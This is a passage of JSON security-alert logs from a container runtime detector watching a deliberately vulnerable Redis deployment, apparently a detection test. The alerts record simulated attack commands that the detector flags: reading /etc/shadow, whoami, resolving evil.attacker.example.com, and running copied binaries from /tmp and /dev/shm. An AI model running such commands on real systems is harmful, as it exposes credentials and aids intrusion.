{"BaseRuntimeMetadata":{"alertName":"Files Access Anomalies in container","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","flags":["O_RDONLY"],"message":"Unexpected file access detected: cat with PID 125925 to kubepods-besteffort-poda6731cd9_372a_4a60_8ad5_b716ac692aaf.slice/cri-containerd-28f01ecfe032dd453226d101ee073553b394f974d1e13df9e02ab36d3e5c37f1.scope/cgroup.procs","path":"kubepods-besteffort-poda6731cd9_372a_4a60_8ad5_b716ac692aaf.slice/cri-containerd-28f01ecfe032dd453226d101ee073553b394f974d1e13df9e02ab36d3e5c37f1.scope/cgroup.procs"},"infectedPID":125925,"severity":1,"timestamp":"2026-04-12T17:02:40.345003416Z","trace":{},"uniqueID":"d7980bf985a08fa54746a91cbd3b7344","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"cgroup.procs","directory":"kubepods-besteffort-poda6731cd9_372a_4a60_8ad5_b716ac692aaf.slice/cri-containerd-28f01ecfe032dd453226d101ee073553b394f974d1e13df9e02ab36d3e5c37f1.scope"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0002","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125924":{"pid":125924,"cmdline":"/bin/sh -c cat /etc/shadow 2\u003e\u00261; echo shadow_attempted","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125925":{"pid":125925,"cmdline":"/usr/bin/cat /etc/shadow","comm":"cat","ppid":125924,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected file access detected: cat with PID 125925 to kubepods-besteffort-poda6731cd9_372a_4a60_8ad5_b716ac692aaf.slice/cri-containerd-28f01ecfe032dd453226d101ee073553b394f974d1e13df9e02ab36d3e5c37f1.scope/cgroup.procs","msg":"Files Access Anomalies in container","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","whoami"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125926"},"infectedPID":125926,"severity":1,"timestamp":"2026-04-12T17:02:40.360788904Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c whoami"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125926":{"pid":125926,"cmdline":"/bin/sh -c whoami","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125926","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/whoami"],"exec":"/usr/bin/whoami","message":"Unexpected process launched: whoami with PID 125927"},"infectedPID":125927,"severity":1,"timestamp":"2026-04-12T17:02:40.363255896Z","trace":{},"uniqueID":"a7abdb6129505e326773711ff681444d","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"whoami","commandLine":"/usr/bin/whoami "},"file":{"name":"whoami","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125926":{"pid":125926,"cmdline":"/bin/sh -c whoami","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"whoami␟125927":{"pid":125927,"cmdline":"/usr/bin/whoami","comm":"whoami","ppid":125926,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/whoami"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: whoami with PID 125927","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","getent hosts evil.attacker.example.com 2\u003e\u00261 || echo dns_done"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125928"},"infectedPID":125928,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.380758008Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c getent hosts evil.attacker.example.com 2\u003e\u00261 || echo dns_done"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125928":{"pid":125928,"cmdline":"/bin/sh -c getent hosts evil.attacker.example.com 2\u003e\u00261 || echo dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125928","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/getent","hosts","evil.attacker.example.com"],"exec":"/usr/bin/getent","message":"Unexpected process launched: getent with PID 125929"},"infectedPID":125929,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.383402413Z","trace":{},"uniqueID":"958f7edb33b2256841523d9453bf7212","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"getent","commandLine":"/usr/bin/getent hosts evil.attacker.example.com"},"file":{"name":"getent","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125928":{"pid":125928,"cmdline":"/bin/sh -c getent hosts evil.attacker.example.com 2\u003e\u00261 || echo dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125929":{"pid":125929,"cmdline":"/usr/bin/getent hosts evil.attacker.example.com","comm":"getent","ppid":125928,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: getent with PID 125929","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125950"},"infectedPID":125950,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.444476572Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125950":{"pid":125950,"cmdline":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125950","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cp","/bin/ls","/tmp/drifted_redis"],"exec":"/usr/bin/cp","message":"Unexpected process launched: cp with PID 125951"},"infectedPID":125951,"severity":1,"timestamp":"2026-04-12T17:02:40.446940536Z","trace":{},"uniqueID":"1f0233cbf5ddbe11b6a637852836b950","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cp","commandLine":"/usr/bin/cp /bin/ls /tmp/drifted_redis"},"file":{"name":"cp","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125950":{"pid":125950,"cmdline":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cp␟125951":{"pid":125951,"cmdline":"/usr/bin/cp /bin/ls /tmp/drifted_redis","comm":"cp","ppid":125950,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cp"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cp with PID 125951","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/tmp/drifted_redis","/etc"],"exec":"/tmp/drifted_redis","message":"Unexpected process launched: drifted_redis with PID 125952"},"infectedPID":125952,"severity":1,"timestamp":"2026-04-12T17:02:40.45198676Z","trace":{},"uniqueID":"cdc1aa1265f0c4e75b4559432322254a","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"drifted_redis","commandLine":"/tmp/drifted_redis /etc"},"file":{"name":"drifted_redis","directory":"/tmp"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125950":{"pid":125950,"cmdline":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"drifted_redis␟125952":{"pid":125952,"cmdline":"/tmp/drifted_redis /etc","comm":"drifted_redis","ppid":125950,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/tmp/drifted_redis"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: drifted_redis with PID 125952","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Drifted process executed","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/tmp/drifted_redis","/etc"],"exec":"/tmp/drifted_redis","message":"Process (drifted_redis) was executed and is not part of the image"},"infectedPID":125952,"severity":8,"timestamp":"2026-04-12T17:02:40.45198676Z","trace":{},"uniqueID":"938d373b040d8581dedb842e64cb757c","profileMetadata":{"name":"redis","failOnProfile":false,"type":0,"profileDependency":1},"identifiers":{"process":{"name":"drifted_redis","commandLine":"/tmp/drifted_redis /etc"},"file":{"name":"drifted_redis","directory":"/tmp"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R1001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125950":{"pid":125950,"cmdline":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"drifted_redis␟125952":{"pid":125952,"cmdline":"/tmp/drifted_redis /etc","comm":"drifted_redis","ppid":125950,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/tmp/drifted_redis"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Process (drifted_redis) was executed and is not part of the image","msg":"Drifted process executed","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/rm","-f","/tmp/drifted_redis"],"exec":"/usr/bin/rm","message":"Unexpected process launched: rm with PID 125953"},"infectedPID":125953,"severity":1,"timestamp":"2026-04-12T17:02:40.456337597Z","trace":{},"uniqueID":"415e75cd1e3b8d1acb10b6a2e4f97e4e","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"rm","commandLine":"/usr/bin/rm -f /tmp/drifted_redis"},"file":{"name":"rm","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125950":{"pid":125950,"cmdline":"/bin/sh -c cp /bin/ls /tmp/drifted_redis \u0026\u0026 /tmp/drifted_redis /etc 2\u003e\u00261; rm -f /tmp/drifted_redis","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"rm␟125953":{"pid":125953,"cmdline":"/usr/bin/rm -f /tmp/drifted_redis","comm":"rm","ppid":125950,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/rm"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: rm with PID 125953","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125954"},"infectedPID":125954,"severity":1,"timestamp":"2026-04-12T17:02:40.477036751Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125954":{"pid":125954,"cmdline":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125954","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cp","/bin/echo","/dev/shm/malicious"],"exec":"/usr/bin/cp","message":"Unexpected process launched: cp with PID 125955"},"infectedPID":125955,"severity":1,"timestamp":"2026-04-12T17:02:40.479599053Z","trace":{},"uniqueID":"1f0233cbf5ddbe11b6a637852836b950","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cp","commandLine":"/usr/bin/cp /bin/echo 